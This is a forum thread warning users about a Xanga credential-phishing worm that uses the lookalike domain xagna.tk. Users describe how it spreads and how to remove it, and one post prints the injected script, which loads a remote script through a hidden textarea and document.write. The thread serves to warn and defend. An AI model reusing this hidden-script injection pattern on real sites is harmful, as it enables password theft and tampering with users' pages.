xanga virus, MUST READ Options

[queen]

HEY EVERYBODY!  When you sign in, please be careful that you sign in to www.xanga.com, instead of xagna.tk.  That's the location of a current Xanga virus.  In fact, if you go there now, you will see a login screen.  They WILL steal your password and modify your site.

HOW THE VIRUS WORKS:  If your site is infected, it replaces all of your links with links to xagna.tk.  When someone tries to add a comment, it redirects them to the page.  It looks exactly like the normal login page, so they submit their username and password.  With the username and password, xagna.tk logs into their site and adds the malicious code to the bottom of Website Stats.

TO SEE IF YOU'RE INFECTED:  Go to your Look & Feel page.  Go to Website Stats, scroll down to the bottom, and see if there are a bunch of blank lines followed by something that looks like a flooble chatterbox with id=bob.  If you see it, DELETE IT and CHANGE YOUR PASSWORD.

OK, announcement done.  Enjoy the comic.  =)

--jeff aka joe_x

edit 10:26am>  Seems like whoever did this found out about my announcement.  255 comments all saying "aw, you suck!"  Give me a break.  Keep in mind, though, my site is NOT INFECTED--I check every 5 minutes--so don't worry about sticking around here.

edit 11:57am>  Get this.  Apparently, the virus was only supposed to steal the password of my personal site, godofphotoshop.  Everyone else out there, sorry, but apparently you're just collateral damage.  Hrmph.

- i quoted that from joe_x's xanga since he has a better idea of what's going on, and i think he was the original target of this whole thing. i found that code in my xanga this morning, and i was wondering how the f*ck it got there... it's not a true "virus" since it doesn't affect your computer; it's really just a scam to get everyone's xanga passwords... i don't really know why, but please take the necessary precaution. DELETE THE CODE, CHANGE YOUR PASSWORD.

MORE INFO HERE

[waccoon]

Pi-iiinned.

[lilphoenix]

Thanks for the major tip.

I found that I was in fact, infected as well.

I immediately deleted the code and change the pw.

Hope you don't mind if I quote this on my xanga.

::edit::
PLEASE CHECK YOUR CUSTOM HEADER AS WELL... THEY SEEM TO BE TARGETING THAT AREA AS WELL!

The fake code looks like this:

CODE

<!-- begin code provided by createblog.com -->
<textarea id=mtarea1 style='display:none'>
<script id=bob
src="http://chatter.flooble.com/chatter.php">
</script>
</textarea>
<script>
document.write(document.getElementById("mtarea1").value.replace("http://chatter.flooble.com/chatter.php","http:///test.php"));
</script>

<!-- end code provided by createblog.com -->

[*playmate*]

Wow
Thanks heaps for telling
now i know sumthing knew today!

[HOMEBOi_510]

I hade the virus. thanks. But did this virus had to do anything with that internet transition because my transition didnt work and the code was at the bottom of my page and I noticed that on a few other people page too.

[aznbabiicutie]

omg..i had the virus too!! i'ma change my pw now. thanks for telling us!!

[Flaunted]

queeennie i owe you big time.

[souldreamers]

OMG right after I read this I went to my xanga and a pop-up came up and said that I was infected with a xanga virus!?! That's so weird! But thanks so much for the tip... I went to Website Stats and found that stuff and erased it. I'll probably post this on my xanga for other ppl to know!

[avalon*]

so only some people are randomly affected? cause why would you go to xagna.tk on purpose? hmm haha

[*autumn.*]

so only some people are randomly affected? cause why would you go to xagna.tk on purpose? hmm haha

i never did but i got that virus..weird.

[XoXXo_Meg_oXXoX]

The pop-up said I had a xanga virus, but the code wasn't on my xanga....I'll change my password anyway.

[njgurl412]

thanks .. i found out i had it.. i won't have knowen with out ur help.

[souldreamers]

so only some people are randomly affected? cause why would you go to xagna.tk on purpose? hmm haha

yea I never went to xanga.tk either... don't forget to check your custom header and custom module if you have that. That weird code was in all three places! *grrrrrrrrrrrr*

[addictedtoxangie]

i dont think i have it because when i press my links they go to their links and i dont get the pop-up.

[pAtRiCk_sTar]

OMG thank u soooo much!!!

[xquizit]

I have it. I'm trying to remove it now but I can't cuz of Xanga Maintainance.

[Note]

gawd...i'm trying to update mine and it kept on saying this error crap. i go check my little web site stats and there's no chatterbox thingy. thank god. it's kinda like this

don't be afraid to click

it's no virus

::jerry::

[xquizit]

gawd...i'm trying to update mine and it kept on saying this error crap. i go check my little web site stats and there's no chatterbox thingy. thank god. it's kinda like this

don't be afraid to click

it's no virus

::jerry::

No. There is a virus. You just haven't been infected.

[lilazneye10]

i just had got that virus and i delted that code but im wondering how did i get that virus if i didnt go to xanga.tk or wut ever that website is?

[veve]

has anyone thought about whether or not joe's xanga was infected? someone could have taken his xanga and toyed around with it knowing how much power he has in the xanga community .... I had this pop up on my xanga which led straight to joe's xanga. I am quite confused now.

[lilphoenix]

they've [as in xanga] taken down comments for now... isn't that like a sign that somethin' is wrong?

[XoXXo_Meg_oXXoX]

I got the pop up again...both times I was on other peoples sites and both times I couldn't find the code anywhere in my look and feel.

I'm confused..

[Flaunted]

I got the pop up again...both times I was on other peoples sites and both times I couldn't find the code anywhere in my look and feel.

I'm confused..

yea i get that too, i think its on there xanga and they don't know it.

[addictedtoxangie]

i got that pop-up while being on this guy's xanga and it directed me to joe_x, does he know more info?

[LiLaZnGirL122]

woaH!!! omg thanks soo much im like scared ahah well i dun hav it but ima change mai pass any way damn virus ppl hav no life!! hahaha thanks sooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo much!!!